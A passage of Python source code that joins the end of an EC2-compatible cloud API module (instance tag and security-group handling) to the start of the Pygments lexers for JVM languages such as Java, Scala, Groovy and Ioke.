tag.get('value', None) if key is None or val is None: err = _('Expecting both key and value to be set') raise exception.InvalidParameterValue(message=err) metadata[key] = val for ec2_id in resources: instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) instance = self.compute_api.get(context, instance_uuid) self.compute_api.update_instance_metadata(context, instance, metadata) return True def delete_tags(self, context, **kwargs): """Delete tags Returns True on success, error on failure. :param context: context under which the method is called """ resources = kwargs.get('resource_id', None) tags = kwargs.get('tag', None) if resources is None or tags is None: msg = _('resource_id and tag are required') raise exception.MissingParameter(reason=msg) if not isinstance(resources, (tuple, list, set)): msg = _('Expecting a list of resources') raise exception.InvalidParameterValue(message=msg) for r in resources: if ec2utils.resource_type_from_id(context, r) != 'instance': msg = _('Only instances implemented') raise exception.InvalidParameterValue(message=msg) if not isinstance(tags, (tuple, list, set)): msg = _('Expecting a list of tagSets') raise exception.InvalidParameterValue(message=msg) for ec2_id in resources: instance_uuid = ec2utils.ec2_inst_id_to_uuid(context, ec2_id) instance = self.compute_api.get(context, instance_uuid) for tag in tags: if not isinstance(tag, dict): msg = _('Expecting tagSet to be key/value pairs') raise exception.InvalidParameterValue(message=msg) key = tag.get('key', None) if key is None: msg = _('Expecting key to be set') raise exception.InvalidParameterValue(message=msg) self.compute_api.delete_instance_metadata(context, instance, key) return True def describe_tags(self, context, **kwargs): """List tags Returns a dict with a single key 'tagSet' on success, error on failure. :param context: context under which the method is called """ filters = kwargs.get('filter', None) search_filts = [] if filters: for filter_block in filters: key_name = filter_block.get('name', None) val = filter_block.get('value', None) if val: if isinstance(val, dict): val = val.values() if not isinstance(val, (tuple, list, set)): val = (val,) if key_name: search_block = {} if key_name in ('resource_id', 'resource-id'): search_block['resource_id'] = [] for res_id in val: search_block['resource_id'].append( ec2utils.ec2_inst_id_to_uuid(context, res_id)) elif key_name in ['key', 'value']: search_block[key_name] = \ [ec2utils.regex_from_ec2_regex(v) for v in val] elif key_name in ('resource_type', 'resource-type'): for res_type in val: if res_type != 'instance': raise exception.InvalidParameterValue( message=_('Only instances implemented')) search_block[key_name] = 'instance' if len(search_block.keys()) > 0: search_filts.append(search_block) ts = [] for tag in self.compute_api.get_all_instance_metadata(context, search_filts): ts.append({ 'resource_id': ec2utils.id_to_ec2_inst_id(tag['instance_id']), 'resource_type': 'instance', 'key': tag['key'], 'value': tag['value'] }) return {"tagSet": ts} class EC2SecurityGroupExceptions(object): @staticmethod def raise_invalid_property(msg): raise exception.InvalidParameterValue(message=msg) @staticmethod def raise_group_already_exists(msg): raise exception.SecurityGroupExists(message=msg) @staticmethod def raise_invalid_group(msg): raise exception.InvalidGroup(reason=msg) @staticmethod def raise_invalid_cidr(cidr, decoding_exception=None): if decoding_exception: raise decoding_exception else: raise exception.InvalidParameterValue(message=_("Invalid CIDR")) @staticmethod def raise_over_quota(msg): raise exception.SecurityGroupLimitExceeded(msg) @staticmethod def raise_not_found(msg): pass class CloudSecurityGroupNovaAPI(EC2SecurityGroupExceptions, compute_api.SecurityGroupAPI): pass class CloudSecurityGroupNeutronAPI(EC2SecurityGroupExceptions, neutron_driver.SecurityGroupAPI): pass def get_cloud_security_group_api(): if cfg.CONF.security_group_api.lower() == 'nova': return CloudSecurityGroupNovaAPI() elif cfg.CONF.security_group_api.lower() in ('neutron', 'quantum'): return CloudSecurityGroupNeutronAPI() else: raise NotImplementedError()
codeparrot/github-code-clean
# -*- coding: utf-8 -*- """ pygments.lexers.jvm ~~~~~~~~~~~~~~~~~~~ Pygments lexers for JVM languages. :copyright: Copyright 2006-2013 by the Pygments team, see AUTHORS. :license: BSD, see LICENSE for details. """ import re from pygments.lexer import Lexer, RegexLexer, include, bygroups, using, \ this from pygments.token import Text, Comment, Operator, Keyword, Name, String, \ Number, Punctuation from pygments.util import get_choice_opt from pygments import unistring as uni __all__ = ['JavaLexer', 'ScalaLexer', 'GosuLexer', 'GosuTemplateLexer', 'GroovyLexer', 'IokeLexer', 'ClojureLexer', 'KotlinLexer', 'XtendLexer', 'AspectJLexer', 'CeylonLexer'] class JavaLexer(RegexLexer): """ For `Java <http://www.sun.com/java/>`_ source code. """ name = 'Java' aliases = ['java'] filenames = ['*.java'] mimetypes = ['text/x-java'] flags = re.MULTILINE | re.DOTALL tokens = { 'root': [ # method names (r'^(\s*(?:[a-zA-Z_][a-zA-Z0-9_\.\[\]<>]*\s+)+?)' # return arguments r'([a-zA-Z_][a-zA-Z0-9_]*)' # method name r'(\s*)(\()', # signature start bygroups(using(this), Name.Function, Text, Operator)), (r'[^\S\n]+', Text), (r'//.*?\n', Comment.Single), (r'/\*.*?\*/', Comment.Multiline), (r'@[a-zA-Z_][a-zA-Z0-9_\.]*', Name.Decorator), (r'(assert|break|case|catch|continue|default|do|else|finally|for|' r'if|goto|instanceof|new|return|switch|this|throw|try|while)\b', Keyword), (r'(abstract|const|enum|extends|final|implements|native|private|' r'protected|public|static|strictfp|super|synchronized|throws|' r'transient|volatile)\b', Keyword.Declaration), (r'(boolean|byte|char|double|float|int|long|short|void)\b', Keyword.Type), (r'(package)(\s+)', bygroups(Keyword.Namespace, Text)), (r'(true|false|null)\b', Keyword.Constant), (r'(class|interface)(\s+)', bygroups(Keyword.Declaration, Text), 'class'), (r'(import)(\s+)', bygroups(Keyword.Namespace, Text), 'import'), (r'"(\\\\|\\"|[^"])*"', String), (r"'\\.'|'[^\\]'|'\\u[0-9a-fA-F]{4}'", String.Char), (r'(\.)([a-zA-Z_][a-zA-Z0-9_]*)', bygroups(Operator, Name.Attribute)), (r'[a-zA-Z_][a-zA-Z0-9_]*:', Name.Label), (r'[a-zA-Z_\$][a-zA-Z0-9_]*', Name), (r'[~\^\*!%&\[\]\(\)\{\}<>\|+=:;,./?-]', Operator), (r'[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?', Number.Float), (r'0x[0-9a-fA-F]+', Number.Hex), (r'[0-9]+L?', Number.Integer), (r'\n', Text) ], 'class': [ (r'[a-zA-Z_][a-zA-Z0-9_]*', Name.Class, '#pop') ], 'import': [ (r'[a-zA-Z0-9_.]+\*?', Name.Namespace, '#pop') ], } class AspectJLexer(JavaLexer): """ For `AspectJ <http://www.eclipse.org/aspectj/>`_ source code. *New in Pygments 1.6.* """ name = 'AspectJ' aliases = ['aspectj'] filenames = ['*.aj'] mimetypes = ['text/x-aspectj'] aj_keywords = [ 'aspect', 'pointcut', 'privileged', 'call', 'execution', 'initialization', 'preinitialization', 'handler', 'get', 'set', 'staticinitialization', 'target', 'args', 'within', 'withincode', 'cflow', 'cflowbelow', 'annotation', 'before', 'after', 'around', 'proceed', 'throwing', 'returning', 'adviceexecution', 'declare', 'parents', 'warning', 'error', 'soft', 'precedence', 'thisJoinPoint', 'thisJoinPointStaticPart', 'thisEnclosingJoinPointStaticPart', 'issingleton', 'perthis', 'pertarget', 'percflow', 'percflowbelow', 'pertypewithin', 'lock', 'unlock', 'thisAspectInstance' ] aj_inter_type = ['parents:', 'warning:', 'error:', 'soft:', 'precedence:'] aj_inter_type_annotation = ['@type', '@method', '@constructor', '@field'] def get_tokens_unprocessed(self, text): for index, token, value in JavaLexer.get_tokens_unprocessed(self, text): if token is Name and value in self.aj_keywords: yield index, Keyword, value elif token is Name.Label and value in self.aj_inter_type: yield index, Keyword, value[:-1] yield index, Operator, value[-1] elif token is Name.Decorator and value in self.aj_inter_type_annotation: yield index, Keyword, value else: yield index, token, value class ScalaLexer(RegexLexer): """ For `Scala <http://www.scala-lang.org>`_ source code. """ name = 'Scala' aliases = ['scala'] filenames = ['*.scala'] mimetypes = ['text/x-scala'] flags = re.MULTILINE | re.DOTALL # don't use raw unicode strings! op = ('[-~\\^\\*!%&\\\\<>\\|+=:/?@\u00a6-\u00a7\u00a9\u00ac\u00ae\u00b0-\u00b1' '\u00b6\u00d7\u00f7\u03f6\u0482\u0606-\u0608\u060e-\u060f\u06e9' '\u06fd-\u06fe\u07f6\u09fa\u0b70\u0bf3-\u0bf8\u0bfa\u0c7f\u0cf1-\u0cf2' '\u0d79\u0f01-\u0f03\u0f13-\u0f17\u0f1a-\u0f1f\u0f34\u0f36\u0f38' '\u0fbe-\u0fc5\u0fc7-\u0fcf\u109e-\u109f\u1360\u1390-\u1399\u1940' '\u19e0-\u19ff\u1b61-\u1b6a\u1b74-\u1b7c\u2044\u2052\u207a-\u207c' '\u208a-\u208c\u2100-\u2101\u2103-\u2106\u2108-\u2109\u2114\u2116-\u2118' '\u211e-\u2123\u2125\u2127\u2129\u212e\u213a-\u213b\u2140-\u2144' '\u214a-\u214d\u214f\u2190-\u2328\u232b-\u244a\u249c-\u24e9\u2500-\u2767' '\u2794-\u27c4\u27c7-\u27e5\u27f0-\u2982\u2999-\u29d7\u29dc-\u29fb' '\u29fe-\u2b54\u2ce5-\u2cea\u2e80-\u2ffb\u3004\u3012-\u3013\u3020' '\u3036-\u3037\u303e-\u303f\u3190-\u3191\u3196-\u319f\u31c0-\u31e3' '\u3200-\u321e\u322a-\u3250\u3260-\u327f\u328a-\u32b0\u32c0-\u33ff' '\u4dc0-\u4dff\ua490-\ua4c6\ua828-\ua82b\ufb29\ufdfd\ufe62\ufe64-\ufe66' '\uff0b\uff1c-\uff1e\uff5c\uff5e\uffe2\uffe4\uffe8-\uffee\ufffc-\ufffd]+') letter = ('[a-zA-Z\\$_\u00aa\u00b5\u00ba\u00c0-\u00d6\u00d8-\u00f6' '\u00f8-\u02af\u0370-\u0373\u0376-\u0377\u037b-\u037d\u0386' '\u0388-\u03f5\u03f7-\u0481\u048a-\u0556\u0561-\u0587\u05d0-\u05f2' '\u0621-\u063f\u0641-\u064a\u066e-\u066f\u0671-\u06d3\u06d5' '\u06ee-\u06ef\u06fa-\u06fc\u06ff\u0710\u0712-\u072f\u074d-\u07a5' '\u07b1\u07ca-\u07ea\u0904-\u0939\u093d\u0950\u0958-\u0961' '\u0972-\u097f\u0985-\u09b9\u09bd\u09ce\u09dc-\u09e1\u09f0-\u09f1' '\u0a05-\u0a39\u0a59-\u0a5e\u0a72-\u0a74\u0a85-\u0ab9\u0abd' '\u0ad0-\u0ae1\u0b05-\u0b39\u0b3d\u0b5c-\u0b61\u0b71\u0b83-\u0bb9' '\u0bd0\u0c05-\u0c3d\u0c58-\u0c61\u0c85-\u0cb9\u0cbd\u0cde-\u0ce1' '\u0d05-\u0d3d\u0d60-\u0d61\u0d7a-\u0d7f\u0d85-\u0dc6\u0e01-\u0e30' '\u0e32-\u0e33\u0e40-\u0e45\u0e81-\u0eb0\u0eb2-\u0eb3\u0ebd-\u0ec4' '\u0edc-\u0f00\u0f40-\u0f6c\u0f88-\u0f8b\u1000-\u102a\u103f' '\u1050-\u1055\u105a-\u105d\u1061\u1065-\u1066\u106e-\u1070' '\u1075-\u1081\u108e\u10a0-\u10fa\u1100-\u135a\u1380-\u138f' '\u13a0-\u166c\u166f-\u1676\u1681-\u169a\u16a0-\u16ea\u16ee-\u1711' '\u1720-\u1731\u1740-\u1751\u1760-\u1770\u1780-\u17b3\u17dc' '\u1820-\u1842\u1844-\u18a8\u18aa-\u191c\u1950-\u19a9\u19c1-\u19c7' '\u1a00-\u1a16\u1b05-\u1b33\u1b45-\u1b4b\u1b83-\u1ba0\u1bae-\u1baf' '\u1c00-\u1c23\u1c4d-\u1c4f\u1c5a-\u1c77\u1d00-\u1d2b\u1d62-\u1d77' '\u1d79-\u1d9a\u1e00-\u1fbc\u1fbe\u1fc2-\u1fcc\u1fd0-\u1fdb' '\u1fe0-\u1fec\u1ff2-\u1ffc\u2071\u207f\u2102\u2107\u210a-\u2113' '\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u212f-\u2139' '\u213c-\u213f\u2145-\u2149\u214e\u2160-\u2188\u2c00-\u2c7c' '\u2c80-\u2ce4\u2d00-\u2d65\u2d80-\u2dde\u3006-\u3007\u3021-\u3029' '\u3038-\u303a\u303c\u3041-\u3096\u309f\u30a1-\u30fa\u30ff-\u318e' '\u31a0-\u31b7\u31f0-\u31ff\u3400-\u4db5\u4e00-\ua014\ua016-\ua48c' '\ua500-\ua60b\ua610-\ua61f\ua62a-\ua66e\ua680-\ua697\ua722-\ua76f' '\ua771-\ua787\ua78b-\ua801\ua803-\ua805\ua807-\ua80a\ua80c-\ua822' '\ua840-\ua873\ua882-\ua8b3\ua90a-\ua925\ua930-\ua946\uaa00-\uaa28' '\uaa40-\uaa42\uaa44-\uaa4b\uac00-\ud7a3\uf900-\ufb1d\ufb1f-\ufb28' '\ufb2a-\ufd3d\ufd50-\ufdfb\ufe70-\ufefc\uff21-\uff3a\uff41-\uff5a' '\uff66-\uff6f\uff71-\uff9d\uffa0-\uffdc]') upper = ('[A-Z\\$_\u00c0-\u00d6\u00d8-\u00de\u0100\u0102\u0104\u0106\u0108' '\u010a\u010c\u010e\u0110\u0112\u0114\u0116\u0118\u011a\u011c' '\u011e\u0120\u0122\u0124\u0126\u0128\u012a\u012c\u012e\u0130' '\u0132\u0134\u0136\u0139\u013b\u013d\u013f\u0141\u0143\u0145' '\u0147\u014a\u014c\u014e\u0150\u0152\u0154\u0156\u0158\u015a' '\u015c\u015e\u0160\u0162\u0164\u0166\u0168\u016a\u016c\u016e' '\u0170\u0172\u0174\u0176\u0178-\u0179\u017b\u017d\u0181-\u0182' '\u0184\u0186-\u0187\u0189-\u018b\u018e-\u0191\u0193-\u0194' '\u0196-\u0198\u019c-\u019d\u019f-\u01a0\u01a2\u01a4\u01a6-\u01a7' '\u01a9\u01ac\u01ae-\u01af\u01b1-\u01b3\u01b5\u01b7-\u01b8\u01bc' '\u01c4\u01c7\u01ca\u01cd\u01cf\u01d1\u01d3\u01d5\u01d7\u01d9' '\u01db\u01de\u01e0\u01e2\u01e4\u01e6\u01e8\u01ea\u01ec\u01ee' '\u01f1\u01f4\u01f6-\u01f8\u01fa\u01fc\u01fe\u0200\u0202\u0204' '\u0206\u0208\u020a\u020c\u020e\u0210\u0212\u0214\u0216\u0218' '\u021a\u021c\u021e\u0220\u0222\u0224\u0226\u0228\u022a\u022c' '\u022e\u0230\u0232\u023a-\u023b\u023d-\u023e\u0241\u0243-\u0246' '\u0248\u024a\u024c\u024e\u0370\u0372\u0376\u0386\u0388-\u038f' '\u0391-\u03ab\u03cf\u03d2-\u03d4\u03d8\u03da\u03dc\u03de\u03e0' '\u03e2\u03e4\u03e6\u03e8\u03ea\u03ec\u03ee\u03f4\u03f7' '\u03f9-\u03fa\u03fd-\u042f\u0460\u0462\u0464\u0466\u0468\u046a' '\u046c\u046e\u0470\u0472\u0474\u0476\u0478\u047a\u047c\u047e' '\u0480\u048a\u048c\u048e\u0490\u0492\u0494\u0496\u0498\u049a' '\u049c\u049e\u04a0\u04a2\u04a4\u04a6\u04a8\u04aa\u04ac\u04ae' '\u04b0\u04b2\u04b4\u04b6\u04b8\u04ba\u04bc\u04be\u04c0-\u04c1' '\u04c3\u04c5\u04c7\u04c9\u04cb\u04cd\u04d0\u04d2\u04d4\u04d6' '\u04d8\u04da\u04dc\u04de\u04e0\u04e2\u04e4\u04e6\u04e8\u04ea' '\u04ec\u04ee\u04f0\u04f2\u04f4\u04f6\u04f8\u04fa\u04fc\u04fe' '\u0500\u0502\u0504\u0506\u0508\u050a\u050c\u050e\u0510\u0512' '\u0514\u0516\u0518\u051a\u051c\u051e\u0520\u0522\u0531-\u0556' '\u10a0-\u10c5\u1e00\u1e02\u1e04\u1e06\u1e08\u1e0a\u1e0c\u1e0e' '\u1e10\u1e12\u1e14\u1e16\u1e18\u1e1a\u1e1c\u1e1e\u1e20\u1e22' '\u1e24\u1e26\u1e28\u1e2a\u1e2c\u1e2e\u1e30\u1e32\u1e34\u1e36' '\u1e38\u1e3a\u1e3c\u1e3e\u1e40\u1e42\u1e44\u1e46\u1e48\u1e4a' '\u1e4c\u1e4e\u1e50\u1e52\u1e54\u1e56\u1e58\u1e5a\u1e5c\u1e5e' '\u1e60\u1e62\u1e64\u1e66\u1e68\u1e6a\u1e6c\u1e6e\u1e70\u1e72' '\u1e74\u1e76\u1e78\u1e7a\u1e7c\u1e7e\u1e80\u1e82\u1e84\u1e86' '\u1e88\u1e8a\u1e8c\u1e8e\u1e90\u1e92\u1e94\u1e9e\u1ea0\u1ea2' '\u1ea4\u1ea6\u1ea8\u1eaa\u1eac\u1eae\u1eb0\u1eb2\u1eb4\u1eb6' '\u1eb8\u1eba\u1ebc\u1ebe\u1ec0\u1ec2\u1ec4\u1ec6\u1ec8\u1eca' '\u1ecc\u1ece\u1ed0\u1ed2\u1ed4\u1ed6\u1ed8\u1eda\u1edc\u1ede' '\u1ee0\u1ee2\u1ee4\u1ee6\u1ee8\u1eea\u1eec\u1eee\u1ef0\u1ef2' '\u1ef4\u1ef6\u1ef8\u1efa\u1efc\u1efe\u1f08-\u1f0f\u1f18-\u1f1d' '\u1f28-\u1f2f\u1f38-\u1f3f\u1f48-\u1f4d\u1f59-\u1f5f' '\u1f68-\u1f6f\u1fb8-\u1fbb\u1fc8-\u1fcb\u1fd8-\u1fdb' '\u1fe8-\u1fec\u1ff8-\u1ffb\u2102\u2107\u210b-\u210d\u2110-\u2112' '\u2115\u2119-\u211d\u2124\u2126\u2128\u212a-\u212d\u2130-\u2133' '\u213e-\u213f\u2145\u2183\u2c00-\u2c2e\u2c60\u2c62-\u2c64\u2c67' '\u2c69\u2c6b\u2c6d-\u2c6f\u2c72\u2c75\u2c80\u2c82\u2c84\u2c86' '\u2c88\u2c8a\u2c8c\u2c8e\u2c90\u2c92\u2c94\u2c96\u2c98\u2c9a' '\u2c9c\u2c9e\u2ca0\u2ca2\u2ca4\u2ca6\u2ca8\u2caa\u2cac\u2cae' '\u2cb0\u2cb2\u2cb4\u2cb6\u2cb8\u2cba\u2cbc\u2cbe\u2cc0\u2cc2' '\u2cc4\u2cc6\u2cc8\u2cca\u2ccc\u2cce\u2cd0\u2cd2\u2cd4\u2cd6' '\u2cd8\u2cda\u2cdc\u2cde\u2ce0\u2ce2\ua640\ua642\ua644\ua646' '\ua648\ua64a\ua64c\ua64e\ua650\ua652\ua654\ua656\ua658\ua65a' '\ua65c\ua65e\ua662\ua664\ua666\ua668\ua66a\ua66c\ua680\ua682' '\ua684\ua686\ua688\ua68a\ua68c\ua68e\ua690\ua692\ua694\ua696' '\ua722\ua724\ua726\ua728\ua72a\ua72c\ua72e\ua732\ua734\ua736' '\ua738\ua73a\ua73c\ua73e\ua740\ua742\ua744\ua746\ua748\ua74a' '\ua74c\ua74e\ua750\ua752\ua754\ua756\ua758\ua75a\ua75c\ua75e' '\ua760\ua762\ua764\ua766\ua768\ua76a\ua76c\ua76e\ua779\ua77b' '\ua77d-\ua77e\ua780\ua782\ua784\ua786\ua78b\uff21-\uff3a]') idrest = r'%s(?:%s|[0-9])*(?:(?<=_)%s)?' % (letter, letter, op) tokens = { 'root': [ # method names (r'(class|trait|object)(\s+)', bygroups(Keyword, Text), 'class'), (r"'%s" % idrest, Text.Symbol), (r'[^\S\n]+', Text), (r'//.*?\n', Comment.Single), (r'/\*', Comment.Multiline, 'comment'), (r'@%s' % idrest, Name.Decorator), (r'(abstract|ca(?:se|tch)|d(?:ef|o)|e(?:lse|xtends)|' r'f(?:inal(?:ly)?|or(?:Some)?)|i(?:f|mplicit)|' r'lazy|match|new|override|pr(?:ivate|otected)' r'|re(?:quires|turn)|s(?:ealed|uper)|' r't(?:h(?:is|row)|ry)|va[lr]|w(?:hile|ith)|yield)\b|' '(<[%:-]|=>|>:|[#=@_\u21D2\u2190])(\\b|(?=\\s)|$)', Keyword), (r':(?!%s)' % op, Keyword, 'type'), (r'%s%s\b' % (upper, idrest), Name.Class), (r'(true|false|null)\b', Keyword.Constant), (r'(import|package)(\s+)', bygroups(Keyword, Text), 'import'), (r'(type)(\s+)', bygroups(Keyword, Text), 'type'), (r'""".*?"""(?!")', String), (r'"(\\\\|\\"|[^"])*"', String), (r"'\\.'|'[^\\]'|'\\u[0-9a-fA-F]{4}'", String.Char), # (ur'(\.)(%s|%s|`[^`]+`)' % (idrest, op), bygroups(Operator, # Name.Attribute)), (idrest, Name), (r'`[^`]+`', Name), (r'\[', Operator, 'typeparam'), (r'[\(\)\{\};,.#]', Operator), (op, Operator), (r'([0-9][0-9]*\.[0-9]*|\.[0-9]+)([eE][+-]?[0-9]+)?[fFdD]?', Number.Float), (r'0x[0-9a-fA-F]+', Number.Hex), (r'[0-9]+L?', Number.Integer), (r'\n', Text) ], 'class': [ (r'(%s|%s|`[^`]+`)(\s*)(\[)' % (idrest, op), bygroups(Name.Class, Text, Operator), 'typeparam'), (r'\s+', Text), (r'{', Operator, '#pop'), (r'\(', Operator, '#pop'), (r'//.*?\n', Comment.Single, '#pop'), (r'%s|%s|`[^`]+`' % (idrest, op), Name.Class, '#pop'), ], 'type': [ (r'\s+', Text), ('<[%:]|>:|[#_\u21D2]|forSome|type', Keyword), (r'([,\);}]|=>|=)(\s*)', bygroups(Operator, Text), '#pop'), (r'[\(\{]', Operator, '#push'), (r'((?:%s|%s|`[^`]+`)(?:\.(?:%s|%s|`[^`]+`))*)(\s*)(\[)' % (idrest, op, idrest, op), bygroups(Keyword.Type, Text, Operator), ('#pop', 'typeparam')), (r'((?:%s|%s|`[^`]+`)(?:\.(?:%s|%s|`[^`]+`))*)(\s*)$' % (idrest, op, idrest, op), bygroups(Keyword.Type, Text), '#pop'), (r'//.*?\n', Comment.Single, '#pop'), (r'\.|%s|%s|`[^`]+`' % (idrest, op), Keyword.Type) ], 'typeparam': [ (r'[\s,]+', Text), ('<[%:]|=>|>:|[#_\u21D2]|forSome|type', Keyword), (r'([\]\)\}])', Operator, '#pop'), (r'[\(\[\{]', Operator, '#push'), (r'\.|%s|%s|`[^`]+`' % (idrest, op), Keyword.Type) ], 'comment': [ (r'[^/\*]+', Comment.Multiline), (r'/\*', Comment.Multiline, '#push'), (r'\*/', Comment.Multiline, '#pop'), (r'[*/]', Comment.Multiline) ], 'import': [ (r'(%s|\.)+' % idrest, Name.Namespace, '#pop') ], } class GosuLexer(RegexLexer): """ For Gosu source code. *New in Pygments 1.5.* """ name = 'Gosu' aliases = ['gosu'] filenames = ['*.gs', '*.gsx', '*.gsp', '*.vark'] mimetypes = ['text/x-gosu'] flags = re.MULTILINE | re.DOTALL tokens = { 'root': [ # method names (r'^(\s*(?:[a-zA-Z_][a-zA-Z0-9_\.\[\]]*\s+)+?)' # modifiers etc. r'([a-zA-Z_][a-zA-Z0-9_]*)' # method name r'(\s*)(\()', # signature start bygroups(using(this), Name.Function, Text, Operator)), (r'[^\S\n]+', Text), (r'//.*?\n', Comment.Single), (r'/\*.*?\*/', Comment.Multiline), (r'@[a-zA-Z_][a-zA-Z0-9_\.]*', Name.Decorator), (r'(in|as|typeof|statictypeof|typeis|typeas|if|else|foreach|for|' r'index|while|do|continue|break|return|try|catch|finally|this|' r'throw|new|switch|case|default|eval|super|outer|classpath|' r'using)\b', Keyword), (r'(var|delegate|construct|function|private|internal|protected|' r'public|abstract|override|final|static|extends|transient|' r'implements|represents|readonly)\b', Keyword.Declaration), (r'(property\s+)(get|set)?', Keyword.Declaration), (r'(boolean|byte|char|double|float|int|long|short|void|block)\b', Keyword.Type), (r'(package)(\s+)', bygroups(Keyword.Namespace, Text)), (r'(true|false|null|NaN|Infinity)\b', Keyword.Constant), (r'(class|interface|enhancement|enum)(\s+)([a-zA-Z_][a-zA-Z0-9_]*)', bygroups(Keyword.Declaration, Text, Name.Class)), (r'(uses)(\s+)([a-zA-Z0-9_.]+\*?)', bygroups(Keyword.Namespace, Text, Name.Namespace)), (r'"', String, 'string'), (r'(\??[\.#])([a-zA-Z_][a-zA-Z0-9_]*)', bygroups(Operator, Name.Attribute)), (r'(:)([a-zA-Z_][a-zA-Z0-9_]*)', bygroups(Operator, Name.Attribute)), (r'[a-zA-Z_\$][a-zA-Z0-9_]*', Name), (r'and|or|not|[\\~\^\*!%&\[\]\(\)\{\}<>\|+=:;,./?-]', Operator), (r'[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?', Number.Float), (r'[0-9]+', Number.Integer), (r'\n', Text) ], 'templateText': [ (r'(\\<)|(\\\$)', String), (r'(<%@\s+)(extends|params)', bygroups(Operator, Name.Decorator), 'stringTemplate'), (r'<%!--.*?--%>', Comment.Multiline), (r'(<%)|(<%=)', Operator, 'stringTemplate'), (r'\$\{', Operator, 'stringTemplateShorthand'), (r'.', String) ], 'string': [ (r'"', String, '#pop'), include('templateText') ], 'stringTemplate': [ (r'"', String, 'string'), (r'%>', Operator, '#pop'), include('root') ], 'stringTemplateShorthand': [ (r'"', String, 'string'), (r'\{', Operator, 'stringTemplateShorthand'), (r'\}', Operator, '#pop'), include('root') ], } class GosuTemplateLexer(Lexer): """ For Gosu templates. *New in Pygments 1.5.* """ name = 'Gosu Template' aliases = ['gst'] filenames = ['*.gst'] mimetypes = ['text/x-gosu-template'] lexer = GosuLexer() def get_tokens_unprocessed(self, text): stack = ['templateText'] for item in self.lexer.get_tokens_unprocessed(text, stack): yield item class GroovyLexer(RegexLexer): """ For `Groovy <http://groovy.codehaus.org/>`_ source code. *New in Pygments 1.5.* """ name = 'Groovy' aliases = ['groovy'] filenames = ['*.groovy'] mimetypes = ['text/x-groovy'] flags = re.MULTILINE | re.DOTALL tokens = { 'root': [ # method names (r'^(\s*(?:[a-zA-Z_][a-zA-Z0-9_\.\[\]]*\s+)+?)' # return arguments r'([a-zA-Z_][a-zA-Z0-9_]*)' # method name r'(\s*)(\()', # signature start bygroups(using(this), Name.Function, Text, Operator)), (r'[^\S\n]+', Text), (r'//.*?\n', Comment.Single), (r'/\*.*?\*/', Comment.Multiline), (r'@[a-zA-Z_][a-zA-Z0-9_\.]*', Name.Decorator), (r'(assert|break|case|catch|continue|default|do|else|finally|for|' r'if|goto|instanceof|new|return|switch|this|throw|try|while|in|as)\b', Keyword), (r'(abstract|const|enum|extends|final|implements|native|private|' r'protected|public|static|strictfp|super|synchronized|throws|' r'transient|volatile)\b', Keyword.Declaration), (r'(def|boolean|byte|char|double|float|int|long|short|void)\b', Keyword.Type), (r'(package)(\s+)', bygroups(Keyword.Namespace, Text)), (r'(true|false|null)\b', Keyword.Constant), (r'(class|interface)(\s+)', bygroups(Keyword.Declaration, Text), 'class'), (r'(import)(\s+)', bygroups(Keyword.Namespace, Text), 'import'), (r'"(\\\\|\\"|[^"])*"', String.Double), (r"'(\\\\|\\'|[^'])*'", String.Single), (r'\$/((?!/\$).)*/\$', String), (r'/(\\\\|\\"|[^/])*/', String), (r"'\\.'|'[^\\]'|'\\u[0-9a-fA-F]{4}'", String.Char), (r'(\.)([a-zA-Z_][a-zA-Z0-9_]*)', bygroups(Operator, Name.Attribute)), (r'[a-zA-Z_][a-zA-Z0-9_]*:', Name.Label), (r'[a-zA-Z_\$][a-zA-Z0-9_]*', Name), (r'[~\^\*!%&\[\]\(\)\{\}<>\|+=:;,./?-]', Operator), (r'[0-9][0-9]*\.[0-9]+([eE][0-9]+)?[fd]?', Number.Float), (r'0x[0-9a-fA-F]+', Number.Hex), (r'[0-9]+L?', Number.Integer), (r'\n', Text) ], 'class': [ (r'[a-zA-Z_][a-zA-Z0-9_]*', Name.Class, '#pop') ], 'import': [ (r'[a-zA-Z0-9_.]+\*?', Name.Namespace, '#pop') ], } class IokeLexer(RegexLexer): """ For `Ioke <http://ioke.org/>`_ (a strongly typed, dynamic, prototype based programming language) source. *New in Pygments 1.4.* """ name = 'Ioke' filenames = ['*.ik'] aliases = ['ioke', 'ik'] mimetypes = ['text/x-iokesrc'] tokens = { 'interpolatableText': [ (r'(\\b|\\e|\\t|\\n|\\f|\\r|\\"|\\\\|\\#|\\\Z|\\u[0-9a-fA-F]{1,4}' r'|\\[0-3]?[0-7]?[0-7])', String.Escape), (r'#{', Punctuation, 'textInterpolationRoot') ], 'text': [ (r'(?<!\\)"', String, '#pop'), include('interpolatableText'), (r'[^"]', String) ], 'documentation': [ (r'(?<!\\)"', String.Doc, '#pop'), include('interpolatableText'), (r'[^"]', String.Doc) ], 'textInterpolationRoot': [ (r'}', Punctuation, '#pop'), include('root') ], 'slashRegexp': [ (r'(?<!\\)/[oxpniums]*', String.Regex, '#pop'), include('interpolatableText'), (r'\\/', String.Regex), (r'[^/]', String.Regex) ], 'squareRegexp': [ (r'(?<!\\)][oxpniums]*', String.Regex, '#pop'), include('interpolatableText'), (r'\\]', String.Regex), (r'[^\]]', String.Regex) ], 'squareText': [ (r'(?<!\\)]', String, '#pop'), include('interpolatableText'), (r'[^\]]', String) ], 'root': [ (r'\n', Text), (r'\s+', Text), # Comments (r';(.*?)\n', Comment), (r'\A#!(.*?)\n', Comment), #Regexps (r'#/', String.Regex, 'slashRegexp'), (r'#r\[', String.Regex, 'squareRegexp'), #Symbols (r':[a-zA-Z0-9_!:?]+', String.Symbol), (r'[a-zA-Z0-9_!:?]+:(?![a-zA-Z0-9_!?])', String.Other), (r':"(\\\\|\\"|[^"])*"', String.Symbol), #Documentation (r'((?<=fn\()|(?<=fnx\()|(?<=method\()|(?<=macro\()|(?<=lecro\()' r'|(?<=syntax\()|(?<=dmacro\()|(?<=dlecro\()|(?<=dlecrox\()' r'|(?<=dsyntax\())\s*"', String.Doc, 'documentation'), #Text (r'"', String, 'text'), (r'#\[', String, 'squareText'), #Mimic (r'[a-zA-Z0-9_][a-zA-Z0-9!?_:]+(?=\s*=.*mimic\s)', Name.Entity), #Assignment (r'[a-zA-Z_][a-zA-Z0-9_!:?]*(?=[\s]*[+*/-]?=[^=].*($|\.))', Name.Variable), # keywords (r'(break|cond|continue|do|ensure|for|for:dict|for:set|if|let|' r'loop|p:for|p:for:dict|p:for:set|return|unless|until|while|' r'with)(?![a-zA-Z0-9!:_?])', 